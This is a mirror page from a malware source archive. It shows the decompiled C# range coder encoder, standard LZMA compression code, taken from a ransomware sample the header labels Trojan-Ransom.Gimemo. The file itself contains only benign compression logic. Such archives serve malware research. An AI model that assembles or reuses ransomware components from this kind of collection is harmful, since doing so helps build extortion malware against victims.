mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
109 lines
2.8 KiB
C#
109 lines
2.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SevenZip.Compression.RangeCoder.Encoder
|
|
// Assembly: crypted, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 316F25AB-9DC5-41B1-B1CB-0BB9D97AEA6A
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da.exe
|
|
|
|
using System.IO;
|
|
|
|
namespace SevenZip.Compression.RangeCoder
|
|
{
|
|
internal class Encoder
|
|
{
|
|
public const uint kTopValue = 16777216;
|
|
private Stream Stream;
|
|
public ulong Low;
|
|
public uint Range;
|
|
private uint _cacheSize;
|
|
private byte _cache;
|
|
private long StartPosition;
|
|
|
|
public void SetStream(Stream stream) => this.Stream = stream;
|
|
|
|
public void ReleaseStream() => this.Stream = (Stream) null;
|
|
|
|
public void Init()
|
|
{
|
|
this.StartPosition = this.Stream.Position;
|
|
this.Low = 0UL;
|
|
this.Range = uint.MaxValue;
|
|
this._cacheSize = 1U;
|
|
this._cache = (byte) 0;
|
|
}
|
|
|
|
public void FlushData()
|
|
{
|
|
for (int index = 0; index < 5; ++index)
|
|
this.ShiftLow();
|
|
}
|
|
|
|
public void FlushStream() => this.Stream.Flush();
|
|
|
|
public void CloseStream() => this.Stream.Close();
|
|
|
|
public void Encode(uint start, uint size, uint total)
|
|
{
|
|
this.Low += (ulong) (start * (this.Range /= total));
|
|
this.Range *= size;
|
|
while (this.Range < 16777216U)
|
|
{
|
|
this.Range <<= 8;
|
|
this.ShiftLow();
|
|
}
|
|
}
|
|
|
|
public void ShiftLow()
|
|
{
|
|
if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U)
|
|
{
|
|
byte num = this._cache;
|
|
do
|
|
{
|
|
this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32)));
|
|
num = byte.MaxValue;
|
|
}
|
|
while (--this._cacheSize != 0U);
|
|
this._cache = (byte) ((uint) this.Low >> 24);
|
|
}
|
|
++this._cacheSize;
|
|
this.Low = (ulong) ((uint) this.Low << 8);
|
|
}
|
|
|
|
public void EncodeDirectBits(uint v, int numTotalBits)
|
|
{
|
|
for (int index = numTotalBits - 1; index >= 0; --index)
|
|
{
|
|
this.Range >>= 1;
|
|
if (((int) (v >> index) & 1) == 1)
|
|
this.Low += (ulong) this.Range;
|
|
if (this.Range < 16777216U)
|
|
{
|
|
this.Range <<= 8;
|
|
this.ShiftLow();
|
|
}
|
|
}
|
|
}
|
|
|
|
public void EncodeBit(uint size0, int numTotalBits, uint symbol)
|
|
{
|
|
uint num = (this.Range >> numTotalBits) * size0;
|
|
if (symbol == 0U)
|
|
{
|
|
this.Range = num;
|
|
}
|
|
else
|
|
{
|
|
this.Low += (ulong) num;
|
|
this.Range -= num;
|
|
}
|
|
while (this.Range < 16777216U)
|
|
{
|
|
this.Range <<= 8;
|
|
this.ShiftLow();
|
|
}
|
|
}
|
|
|
|
public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L;
|
|
}
|
|
}
|